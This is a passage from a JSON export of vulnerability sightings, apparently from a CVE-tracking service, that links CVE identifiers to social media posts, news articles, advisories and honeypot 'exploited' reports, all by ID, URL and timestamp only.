"https://bsky.app/profile/cve.skyfleet.blue/post/3livx2eqxhg23", "content": "", "creation_timestamp": "2025-02-24T08:37:39.182004Z"}, {"uuid": "7af28504-0d33-4e9f-949e-64aea57e9ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljucwvxveh26", "content": "", "creation_timestamp": "2025-03-08T10:30:21.982931Z"}, {"uuid": "31659ea2-d156-400b-9380-9e8b57f45cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lijpzycmv42q", "content": "", "creation_timestamp": "2025-02-19T12:00:12.436778Z"}, {"uuid": "ac9d16c4-7e5c-47b2-8451-4d2c79065d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodpy6go25", "content": "", "creation_timestamp": "2025-02-19T21:02:31.658664Z"}, {"uuid": "b325de5c-ccd4-4217-b59a-85f4c4f13e6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodqzbx425", "content": "", "creation_timestamp": "2025-02-19T21:02:37.895931Z"}, {"uuid": "08d843ee-66c1-4553-8edf-1de269bba645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lilatp35kb2m", "content": "", "creation_timestamp": "2025-02-20T02:33:35.457506Z"}, {"uuid": "d8566663-60ae-41fc-ba44-0a2d561e5d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lilj65f4t22e", "content": "", "creation_timestamp": "2025-02-20T05:02:38.104713Z"}, {"uuid": "fa7cbf0d-f824-479b-98d4-d8504582e4e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lilll7lwih2b", "content": "", "creation_timestamp": "2025-02-20T05:45:41.469984Z"}, {"uuid": "ca24665d-c6e5-4ede-b08f-dc9d8981b540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12284", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lilng4jyvk23", "content": "", "creation_timestamp": "2025-02-20T06:18:38.112253Z"}, {"uuid": "d372ae34-ccf0-4834-aabe-2709754dc308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.548043Z"}, {"uuid": "18c71b42-d1b0-4bdf-a66d-e1277c655e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.609318Z"}, {"uuid": "d6a2fa40-aeb5-4e3e-84d5-f9d611c05d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.679679Z"}, {"uuid": "3c621242-9e5b-4d2d-9817-d811a5d0f9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.744882Z"}, {"uuid": "15ff10ac-b83c-4662-8d48-ae744782f4b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.809076Z"}, {"uuid": "4ef14c84-361e-4667-9d60-434b985fd778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lilsh6ran22n", "content": "", "creation_timestamp": "2025-02-20T07:48:43.079158Z"}, {"uuid": "004e0354-2bb0-482c-a0dc-77440a54bbdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lilsh6ran22n", "content": "", "creation_timestamp": "2025-02-20T07:48:43.151083Z"}, {"uuid": "481da39d-cba2-4775-ad88-ce53d35a7b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/teemutiainen.bsky.social/post/3lily2lwxuw2v", "content": "", "creation_timestamp": "2025-02-20T09:29:04.384002Z"}, {"uuid": "fe1813c9-0144-4f5a-90a8-a057aa60c2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/teemutiainen.bsky.social/post/3lily2lwxuw2v", "content": "", "creation_timestamp": "2025-02-20T09:29:04.448129Z"}, {"uuid": "13a6b787-46bd-4092-a959-c73422250649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lim3skwcguo2", "content": "", "creation_timestamp": "2025-02-20T10:36:37.529054Z"}, {"uuid": "491a9619-68ae-4a79-9d6f-1aed3a99af66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lim7bnd5w4o2", "content": "", "creation_timestamp": "2025-02-20T11:39:12.371110Z"}, {"uuid": "abab3eda-d8b7-449b-8829-9807f1af4251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://thehackernews.com/2025/02/citrix-releases-security-fix-for.html", "content": "", "creation_timestamp": "2025-02-20T03:36:00.000000Z"}, {"uuid": "871c5200-83e1-4a65-8e5e-389ab369dfd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3limmfngctc2e", "content": "", "creation_timestamp": "2025-02-20T15:33:10.058960Z"}, {"uuid": "9ff5a7ce-88d6-47ee-a74f-27d6d3e449f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/nidouille.bsky.social/post/3limnz7yrb22w", "content": "", "creation_timestamp": "2025-02-20T16:02:00.367563Z"}, {"uuid": "76409320-1db0-496c-a774-bbf913127582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3limrymctq322", "content": "", "creation_timestamp": "2025-02-20T17:13:13.614716Z"}, {"uuid": "e4f77a5d-0ac6-4853-8503-8902e95ffb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lin3cgg6vc2x", "content": "", "creation_timestamp": "2025-02-20T19:59:48.572581Z"}, {"uuid": "e3ae1d45-9520-4ff9-bfae-853e118bacb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lio7xs4sj442", "content": "", "creation_timestamp": "2025-02-21T06:58:01.323950Z"}, {"uuid": "ae066c14-d4cb-4220-a2e5-0e64804d6ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lioi4ywizye2", "content": "", "creation_timestamp": "2025-02-21T09:22:12.011947Z"}, {"uuid": "132e9f26-4259-491f-a77c-38b4d3cd80e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://thehackernews.com/2025/03/moxa-issues-fix-for-critical.html", "content": "", "creation_timestamp": "2025-03-11T05:45:00.000000Z"}, {"uuid": "2c9ecfc6-4b37-419c-ab07-b8b2131b0f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-24)", "content": "", "creation_timestamp": "2025-03-24T00:00:00.000000Z"}, {"uuid": "12d7f9b0-18f8-44f0-9dbc-15dc498e465d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljlbatzu6k2e", "content": "", "creation_timestamp": "2025-03-04T20:06:13.034833Z"}, {"uuid": "d4d77d9a-4924-45ca-87f4-2f484dd4ca20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114161097115928156", "content": "", "creation_timestamp": "2025-03-14T13:48:20.651903Z"}, {"uuid": "606eeaca-654a-44c5-8ef0-fab04f13b687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljuhxhhv5z2w", "content": "", "creation_timestamp": "2025-03-08T12:00:07.537391Z"}, {"uuid": "8c599435-8604-4095-b7f5-9dd6b647779a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkot42i2lk2n", "content": "", "creation_timestamp": "2025-03-18T23:28:45.132058Z"}, {"uuid": "a419674c-8cf1-4619-a648-17ec1c8b1e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lirveiepsi23", "content": "", "creation_timestamp": "2025-02-22T17:56:51.996646Z"}, {"uuid": "cb95ffb3-0274-4be0-b44d-d44508954153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/114050165842400035", "content": "", "creation_timestamp": "2025-02-22T23:37:07.615935Z"}, {"uuid": "49bbeb3a-e416-49e5-b5dd-f2eff349a6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ljrfgogbyk2a", "content": "", "creation_timestamp": "2025-03-07T06:36:57.079567Z"}, {"uuid": "38286db3-021b-4ab5-89b8-fec32ecaafdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksiy2bufs2u", "content": "", "creation_timestamp": "2025-03-20T10:38:12.087269Z"}, {"uuid": "f02e3076-88ef-4a9c-8277-4847d961b4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-20)", "content": "", "creation_timestamp": "2025-03-20T00:00:00.000000Z"}, {"uuid": "5d8bf5dc-4015-4d3b-bc31-6d2400ca4430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-113/", "content": "", "creation_timestamp": "2025-03-10T04:00:00.000000Z"}, {"uuid": "bd2edf08-496f-47d1-8cbf-aa09220a7158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkdra6cpcu26", "content": "", "creation_timestamp": "2025-03-14T13:56:01.151360Z"}, {"uuid": "df575ea6-dee8-410d-8533-045d920169cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-112/", "content": "", "creation_timestamp": "2025-03-10T04:00:00.000000Z"}, {"uuid": "e9e2dad1-55f8-4e5a-b408-f859f61276cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114194363600674612", "content": "", "creation_timestamp": "2025-03-20T10:48:26.903129Z"}, {"uuid": "2d585df9-2475-4878-9011-94cc73f0d45e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lklcf3k33y2w", "content": "", "creation_timestamp": "2025-03-17T13:51:35.682834Z"}, {"uuid": "c4ff8d0c-e8f5-4c25-95dd-b5b72813fa8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lksk76rcvy2r", "content": "", "creation_timestamp": "2025-03-20T11:00:05.536224Z"}, {"uuid": "af9adf44-71e5-4a37-80e6-cf42ea3ab770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lklcf3vf722n", "content": "", "creation_timestamp": "2025-03-17T13:51:37.282163Z"}, {"uuid": "7644e8f1-b677-4563-9774-424bc1b10d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "ff169a0c-d2bc-44aa-9d94-bb08b747a595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-22)", "content": "", "creation_timestamp": "2025-03-22T00:00:00.000000Z"}, {"uuid": "11000c7b-77ad-40be-873d-fef1a0fe4859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114078994875616042", "content": "", "creation_timestamp": "2025-02-28T01:48:41.287603Z"}, {"uuid": "a18eea35-5c39-490d-b28e-2c934e88a749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-21)", "content": "", "creation_timestamp": "2025-03-21T00:00:00.000000Z"}, {"uuid": "9c8195ff-c91b-4dda-b868-bf4cd93d079c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liw6ug7rosq2", "content": "", "creation_timestamp": "2025-02-24T10:58:03.529432Z"}, {"uuid": "eb5dd161-e063-411d-ac51-241e1923d67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "bc7e6447-6878-4b69-9142-e6471c8bbbc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkv2o4srrk2q", "content": "", "creation_timestamp": "2025-03-21T11:00:06.466332Z"}, {"uuid": "3edf9439-78c7-46a5-a626-ab18c541dd9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "a6d6c1f4-4c74-45c8-a001-be12b8c77460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljzv7kkmdq2f", "content": "", "creation_timestamp": "2025-03-10T15:40:39.979460Z"}, {"uuid": "9575854c-1ade-4aa3-bee9-b62fd25ea6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll6v7z7ovm26", "content": "", "creation_timestamp": "2025-03-25T08:49:21.280536Z"}, {"uuid": "f5018003-06de-4867-aa78-95653bb7dfcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-152/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "43154744-be10-4cd5-acd7-27d65d8339c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:01.000000Z"}, {"uuid": "f30aff3e-c338-4ca2-96b1-bfd470dddea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lj2ihffytk2p", "content": "", "creation_timestamp": "2025-02-26T03:59:48.842246Z"}, {"uuid": "d39ada52-aad3-4c38-a7bc-ec41c9fd305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lj2ihffytk2p", "content": "", "creation_timestamp": "2025-02-26T03:59:48.938543Z"}, {"uuid": "4b44c747-60f6-42b7-9ec8-777158419d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12682", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll6v7zpzea2h", "content": "", "creation_timestamp": "2025-03-25T08:49:22.974846Z"}, {"uuid": "2075ec33-417d-4830-9772-6a63e2888d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lj2tpmnink2m", "content": "", "creation_timestamp": "2025-02-26T07:21:19.916421Z"}, {"uuid": "2ae90aad-7fc6-4a10-987f-73221c62c64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lj2tpmnink2m", "content": "", "creation_timestamp": "2025-02-26T07:21:19.991588Z"}, {"uuid": "eedd9c57-5271-485e-bf87-33a13f02a365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lj2xguftjc2b", "content": "", "creation_timestamp": "2025-02-26T08:27:57.044616Z"}, {"uuid": "fdf5e2b1-d1a8-4879-accd-476f5d7777eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12085", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lj2xguftjc2b", "content": "", "creation_timestamp": "2025-02-26T08:27:57.120866Z"}, {"uuid": "5e186b4b-91d8-419e-99e6-92e578139892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3lj2ygq366s2s", "content": "", "creation_timestamp": "2025-02-26T08:45:46.853162Z"}, {"uuid": "64c8f8f9-406c-4538-b18f-8ec15b5dae3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3lj2ygq366s2s", "content": "", "creation_timestamp": "2025-02-26T08:45:46.933345Z"}, {"uuid": "064887bd-e4df-4959-95bb-d34457c2f54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "e7383061-fbcd-4f91-8637-9dfe8c6c9149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-06)", "content": "", "creation_timestamp": "2025-03-06T00:00:00.000000Z"}, {"uuid": "4c073ad8-6df6-4567-9222-d5f1dd568707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhd4oyc2v", "content": "", "creation_timestamp": "2025-03-20T11:40:27.339433Z"}, {"uuid": "1c29afb7-540f-4c42-a808-b6cac56ed7ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "8335ef12-3ff9-4955-ae57-05dc6a405cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12044", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmheps2e2v", "content": "", "creation_timestamp": "2025-03-20T11:40:29.037075Z"}, {"uuid": "3f8ae9c2-5f11-4a12-92c1-1869bcf089e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12433", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhgh6qx2m", "content": "", "creation_timestamp": "2025-03-20T11:40:30.457887Z"}, {"uuid": "411d3318-9414-4069-99ab-867cd422caf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12909", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhhpay72m", "content": "", "creation_timestamp": "2025-03-20T11:40:31.436223Z"}, {"uuid": "5aaeb5ab-458f-4c70-9366-b1389790ce9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 